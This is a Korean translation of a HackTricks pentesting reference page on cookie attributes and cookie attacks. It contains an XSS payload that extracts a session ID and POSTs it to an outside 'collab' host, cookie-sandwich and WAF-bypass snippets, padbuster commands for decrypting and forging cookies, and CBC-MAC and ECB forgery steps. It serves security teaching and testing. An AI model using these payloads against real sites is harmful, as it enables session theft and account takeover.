쿠키 해킹
Reading time: 14 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
쿠키 속성
쿠키는 사용자의 브라우저에서 동작을 제어하는 여러 속성을 가집니다. 다음은 이러한 속성들에 대한 설명입니다:
Expires and Max-Age
쿠키의 만료 날짜는 Expires
속성으로 결정됩니다. 반면 Max-age
속성은 쿠키가 삭제되기까지의 시간을 초 단위로 정의합니다. 현대적인 관행을 반영하므로 Max-age
를 사용하는 것이 권장됩니다.
Domain
쿠키를 수신할 호스트는 Domain
속성으로 지정됩니다. 기본적으로 이는 쿠키를 발행한 호스트로 설정되며 서브도메인은 포함하지 않습니다. 그러나 Domain
속성을 명시적으로 설정하면 서브도메인도 포함하게 됩니다. 이는 서브도메인 간에 쿠키를 공유해야 할 때 덜 제한적인 옵션이 됩니다. 예를 들어 Domain=mozilla.org
로 설정하면 developer.mozilla.org
와 같은 서브도메인에서도 쿠키에 접근할 수 있습니다.
Path
요청된 URL에 지정된 특정 URL 경로가 존재할 때 Cookie
헤더가 전송되도록 요구하는 것은 Path
속성입니다. 이 속성은 /
문자를 디렉터리 구분자로 간주하여 하위 디렉터리에서도 매칭되도록 허용합니다.
Ordering Rules
두 개의 쿠키가 동일한 이름을 가질 때 전송할 쿠키는 다음 기준으로 선택됩니다:
- 요청된 URL에서 가장 긴 path와 매칭되는 쿠키.
- path가 동일할 경우 가장 최근에 설정된 쿠키.
SameSite
SameSite
속성은 제3자 도메인에서 시작된 요청에 대해 쿠키가 전송되는지를 결정합니다. 세 가지 설정이 있습니다:- Strict: 제3자 요청에 대해 쿠키 전송을 제한합니다.
- Lax: 제3자 웹사이트에서 시작된 GET 요청에는 쿠키 전송을 허용합니다.
- None: 어떤 제3자 도메인에서도 쿠키 전송을 허용합니다.
설정을 구성할 때 이러한 속성들을 이해하면 다양한 시나리오에서 기대한 대로 동작하도록 하는 데 도움이 됩니다.
요청 타입 | 예시 코드 | 쿠키 전송 조건 |
---|---|---|
링크 | <a href="..."></a> | NotSet*, Lax, None |
Prerender | <link rel="prerender" href=".."/> | NotSet*, Lax, None |
Form GET | <form method="GET" action="..."> | NotSet*, Lax, None |
Form POST | <form method="POST" action="..."> | NotSet*, None |
iframe | <iframe src="..."></iframe> | NotSet*, None |
AJAX | $.get("...") | NotSet*, None |
이미지 | <img src="..."> | NetSet*, None |
Table from Invicti and slightly modified.
SameSite 속성을 가진 쿠키는 로그인이 필요한 경우 CSRF 공격을 완화합니다.
*Chrome80(2019년 2월)부터 cookie에 SameSite 속성이 없을 경우 기본 동작은 Lax가 됩니다 (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
이 변경을 적용한 초기 일시적인 기간 동안 Chrome에서는 SameSite 정책이 없는 쿠키를 처음 2분 동안 None으로 처리하고, 그 이후에는 최상위 cross-site POST 요청에 대해 Lax로 처리합니다.
쿠키 플래그
HttpOnly
이 속성은 클라이언트가 쿠키에 접근하는 것을 방지합니다 (예: Javascript에서 document.cookie
).
Bypasses
- 페이지가 요청의 응답으로 쿠키를 전송하는 경우(예: PHPinfo 페이지), XSS를 악용해 해당 페이지로 요청을 보내고 응답에서 쿠키를 탈취할 수 있습니다 (예시: https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- 서버가 응답으로 쿠키를 반사하면 (해당 HTTP 메서드를 지원하는 경우) TRACE HTTP 요청으로 우회할 수 있습니다. 이 기법을 Cross-Site Tracking이라고 합니다.
- 현대 브라우저는 JS에서 TRACE 요청 전송을 허용하지 않아 이 기법을 차단합니다. 다만 일부 소프트웨어에서는
\r\nTRACE
를 보내는 식의 우회가 발견된 경우가 있습니다(예: IE6.0 SP2). - 또 다른 방법은 브라우저의 제로데이 취약점을 악용하는 것입니다.
- Cookie Jar overflow 공격을 수행하면 HttpOnly 쿠키를 덮어쓸 수 있습니다:
- 이러한 쿠키를 탈취하기 위해 Cookie Smuggling 공격을 사용할 수도 있습니다.
- 만약 서버 측 엔드포인트가 HTTP 응답에 원시 세션 ID를 반영(예: HTML 주석이나 디버그 블록 안)한다면, XSS gadget을 사용해 해당 엔드포인트를 호출하고 정규식으로 비밀을 추출한 뒤 이를 탈취하여 HttpOnly를 우회할 수 있습니다. 예시 XSS 페이로드 패턴:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
보안
요청은 오직 암호화된 채널(일반적으로 HTTPS)로 전송되는 경우에만 HTTP 요청에 쿠키를 전송합니다.
Cookies Prefixes
__Secure-
접두사가 붙은 쿠키는 HTTPS로 보호된 페이지에서 secure
플래그와 함께 설정되어야 합니다.
__Host-
접두사가 붙은 쿠키에는 다음 조건들이 충족되어야 합니다:
secure
플래그와 함께 설정되어야 합니다.- HTTPS로 보호된 페이지에서 생성되어야 합니다.
- 도메인을 지정할 수 없으며, 서브도메인으로 전송되는 것을 방지합니다.
- 이 쿠키들의 경로는
/
로 설정되어야 합니다.
__Host-
접두사가 붙은 쿠키는 상위 도메인이나 서브도메인으로 전송되는 것이 허용되지 않는다는 점에 유의해야 합니다. 이 제한은 애플리케이션 쿠키를 격리하는 데 도움을 줍니다. 따라서 모든 애플리케이션 쿠키에 __Host-
접두사를 사용하는 것은 보안과 격리를 향상시키는 좋은 관행으로 간주될 수 있습니다.
Overwriting cookies
따라서 __Host-
접두사 쿠키의 보호 중 하나는 서브도메인에서 해당 쿠키가 덮어써지는 것을 방지하는 것입니다. 예를 들어 Cookie Tossing attacks를 방지합니다. 강연 Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper)에서는 파서를 속여 서브도메인에서 __HOST- 접두사 쿠키를 설정할 수 있었던 사례를 소개합니다. 예를 들어 이름의 앞이나 앞뒤에 "="를 추가하는 방식 등이 있었습니다...:
 (1) (1) (1) (1).png)
또는 PHP에서는 쿠키 이름의 시작 부분에 다른 문자들을 추가하면 이들이 언더스코어 문자로 대체되어 __HOST-
쿠키를 덮어쓸 수 있었습니다:
 (1) (1) (1) (1).png)
Cookies Attacks
커스텀 쿠키에 민감한 데이터가 포함되어 있다면(특히 CTF를 플레이 중이라면) 취약할 가능성이 있으므로 확인하세요.
Decoding and Manipulating Cookies
쿠키에 포함된 민감한 데이터는 항상 검토해야 합니다. Base64 등 유사 포맷으로 인코딩된 쿠키는 종종 디코딩할 수 있습니다. 이 취약점을 이용하면 공격자는 쿠키 내용을 변경한 뒤 수정한 데이터를 다시 인코딩하여 쿠키에 넣음으로써 다른 사용자를 가장할 수 있습니다.
Session Hijacking
이 공격은 사용자의 쿠키를 탈취하여 애플리케이션 내 계정에 무단으로 접근하는 것을 포함합니다. 탈취한 쿠키를 사용하면 공격자는 정당한 사용자를 가장할 수 있습니다.
Session Fixation
이 시나리오에서 공격자는 피해자가 특정 쿠키로 로그인하도록 속입니다. 애플리케이션이 로그인 시 새로운 쿠키를 할당하지 않으면, 공격자는 원래 쿠키를 이용해 피해자를 가장할 수 있습니다. 이 기법은 피해자가 공격자가 제공한 쿠키로 로그인하도록 유도하는 것에 의존합니다.
If you found an XSS in a subdomain or you control a subdomain, read:
Session Donation
여기서 공격자는 피해자가 공격자의 세션 쿠키를 사용하도록 설득합니다. 피해자는 자신의 계정에 로그인했다고 믿고 무심코 공격자의 계정 컨텍스트에서 동작을 수행하게 됩니다.
If you found an XSS in a subdomain or you control a subdomain, read:
JWT Cookies
Click on the previous link to access a page explaining possible flaws in JWT.
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
Cross-Site Request Forgery (CSRF)
이 공격은 로그인이 된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 동작을 수행하도록 강제합니다. 공격자는 취약한 사이트로의 모든 요청에 자동으로 전송되는 쿠키를 악용할 수 있습니다.
빈 쿠키
(Check further details in theoriginal research) 브라우저는 이름 없는 쿠키 생성도 허용하며, 이는 JavaScript로 다음과 같이 시연할 수 있습니다:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
전송된 cookie 헤더의 결과는 a=v1; test value; b=v2;
입니다. 흥미롭게도, 빈 이름 cookie가 설정되면 cookie를 조작할 수 있으며, 빈 cookie를 특정 값으로 설정하여 다른 cookie를 제어할 수 있습니다:
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
이로 인해 브라우저는 모든 웹 서버에서 a
라는 이름과 값 b
를 가진 cookie로 해석되는 cookie 헤더를 전송합니다.
Chrome 버그: Unicode Surrogate Codepoint 문제
Chrome에서는 유니코드 서러게이트 코드포인트가 set cookie의 일부일 경우, document.cookie
가 손상되어 이후 빈 문자열을 반환합니다:
document.cookie = "\ud800=meep"
이로 인해 document.cookie
가 빈 문자열을 출력하게 되어 영구적인 손상을 나타냅니다.
Cookie Smuggling Due to Parsing Issues
(자세한 내용은original research) Java (Jetty, TomCat, Undertow) 및 Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) 등을 포함한 여러 웹 서버가 오래된 RFC2965 지원 때문에 cookie 문자열을 잘못 처리합니다. 이들은 세미콜론으로 보통 key-value pairs를 구분해야 하는 경우에도, 큰따옴표로 감싼 cookie 값을 하나의 값으로 읽습니다:
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie Injection Vulnerabilities
(Check further details in theoriginal research) 서버들, 특히 Undertow, Zope 및 Python의 http.cookie.SimpleCookie
와 http.cookie.BaseCookie
를 사용하는 서버들의 잘못된 쿠키 파싱은 cookie injection attacks의 기회를 만듭니다. 이러한 서버들은 새 쿠키의 시작을 올바르게 구분하지 못해 공격자가 쿠키를 spoof할 수 있게 합니다:
- Undertow는 세미콜론 없이 인용된 값 바로 다음에 새 쿠키가 오기를 기대합니다.
- Zope는 다음 쿠키를 파싱하기 시작하기 위해 쉼표(,)를 찾습니다.
- Python의 cookie 클래스는 공백 문자에서 파싱을 시작합니다.
이 취약점은 cookie-based CSRF protection에 의존하는 웹 애플리케이션에서 특히 위험합니다. 공격자가 spoofed CSRF-token cookies를 주입하여 보안 조치를 우회할 수 있기 때문입니다. 또한 중복 쿠키 이름을 처리하는 Python의 동작(마지막 항목이 이전 항목을 덮어씀)으로 인해 문제가 악화됩니다. __Secure-
및 __Host-
쿠키가 안전하지 않은 컨텍스트에 노출되는 문제도 있으며, 쿠키가 spoofing에 취약한 back-end 서버로 전달될 경우 권한 우회로 이어질 수 있습니다.
Cookies $version
WAF Bypass
According to this blogpost, it might be possible to use the cookie attribute $Version=1
to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain
and $Path
can be used to modify the behaviour of the backend with the cookie.
Cookie Sandwich Attack
According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:
- 응답에 명백히 쓸모없어 보이는 cookie가 반영되는 장소를 찾습니다
- Create a cookie called
$Version
. 값은1
로 설정합니다 (이 작업은 XSS 공격에서 JS로 수행할 수 있습니다). 더 구체적인 path를 사용해 초기 위치를 차지하게 합니다 (일부 프레임워크, 예: Python은 이 단계가 필요하지 않을 수 있습니다) - Create the cookie that is reflected. 값은 open double quotes를 남기도록 하고, 특정 path를 지정해 이전에 만든
$Version
뒤에 cookie db에 위치하도록 합니다 - 그러면 정상 쿠키가 다음 순서로 옵니다
- Create a dummy cookie that closes the double quotse 값을 통해 열린 큰따옴표를 닫는 더미 cookie를 생성합니다
이렇게 하면 피해자 쿠키가 새로운 버전 1 쿠키 안에 갇히게 되어 해당 쿠키가 반영될 때마다 함께 반사됩니다. 예: 게시물에서:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF bypasses
Cookies $version
이전 섹션을 확인하세요.
Bypassing value analysis with quoted-string encoding
이 파싱은 cookie 내부의 이스케이프된 값을 언이스케이프(unescape)하여 처리한다. 따라서 "\a"는 "a"가 된다. 이는 WAFS를 우회하는 데 유용할 수 있다:
eval('test') => forbidden
"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
Bypassing cookie-name blocklists
In the RFC2109 it's indicated that a 쉼표(,)는 cookie 값들 사이의 구분자로 사용할 수 있다. And also it's possible to add 등호(=) 앞뒤에 공백과 탭을 추가할 수 있다. Therefore a cookie like $Version=1; foo=bar, abc = qux
doesn't generate the cookie "foo":"bar, admin = qux"
but the cookies foo":"bar"
and "admin":"qux"
. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.
Bypassing value analysis with cookie splitting
마지막으로, 서로 다른 backdoors가 서로 다른 cookie headers로 전달된 여러 cookies를 하나의 문자열로 합쳐 전송하는 경우도 있다. 예:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
이는 다음 예시에서처럼 WAF를 우회할 수 있습니다:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
추가 취약 Cookies 검사
기본 점검
- cookie는 매번 login할 때 같습니다.
- Log out하고 같은 cookie를 사용해 보세요.
- 같은 계정에 대해 같은 cookie를 사용하여 2대의 기기(또는 브라우저)에서 log in해 보세요.
- cookie에 어떤 정보가 들어있는지 확인하고 수정해 보세요.
- 거의 동일한 username으로 여러 계정을 생성해 보고 유사점이 보이는지 확인하세요.
- 존재한다면 "remember me" 옵션이 어떻게 동작하는지 확인하세요. 존재하고 취약할 가능성이 있다면, 항상 다른 cookie 없이 remember me의 cookie만 사용하세요.
- 비밀번호를 변경한 후에도 이전 cookie가 작동하는지 확인하세요.
고급 cookies 공격
만약 cookie가 log in할 때 동일하게(또는 거의 동일하게) 유지된다면, 이는 아마 cookie가 계정의 어떤 필드(아마도 username)와 연관되어 있음을 의미합니다. 그러면 다음을 시도할 수 있습니다:
- username이 매우 비슷한 많은 계정을 만들고 알고리즘이 어떻게 동작하는지 추측해 보세요.
- bruteforce the username을 시도해 보세요. 만약 cookie가 단지 username에 대한 인증 수단으로만 저장된다면, username을 "Bmin"으로 계정을 생성하고 cookie의 모든 bit를 bruteforce할 수 있습니다. 왜냐하면 시도할 cookie들 중 하나가 "admin"에 해당하는 cookie일 수 있기 때문입니다.
- Padding Oracle을 시도해 보세요(이를 통해 cookie의 내용을 복호화할 수 있습니다). padbuster를 사용하세요.
Padding Oracle - Padbuster examples
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster는 여러 번 시도하고 어떤 조건이 에러 조건인지(유효하지 않은 조건)를 물어봅니다.
그런 다음 쿠키를 decrypting하기 시작합니다(몇 분이 걸릴 수 있습니다)
공격이 성공적으로 수행되었다면, 원하는 문자열을 encrypt해볼 수 있습니다. 예를 들어, user=administrator를 encrypt
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
이 실행은 문자열 user=administrator 를 포함한 cookie를 올바르게 암호화하고 인코딩한 값을 제공합니다.
CBC-MAC
Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.
The attack
- username administ의 서명(= t)을 얻는다.
- username rator\x00\x00\x00 XOR t의 서명(= t')을 얻는다.
- cookie에 값 **administrator+t'**를 설정한다(**t'**는 (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00의 유효한 서명이 된다)
ECB
If the cookie is encrypted using ECB it could be vulnerable.
When you log in the cookie that you receive has to be always the same.
How to detect and attack:
Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
There should be a pattern (with the size of a used block). So, knowing how are a bunch of "a" encrypted you can create a username: "a"*(size of the block)+"admin". Then, you could delete the encrypted pattern of a block of "a" from the cookie. And you will have the cookie of the username "admin".
References
- https://blog.ankursundara.com/cookie-bugs/
- https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
- https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
- https://seclists.org/webappsec/2006/q2/181
- https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.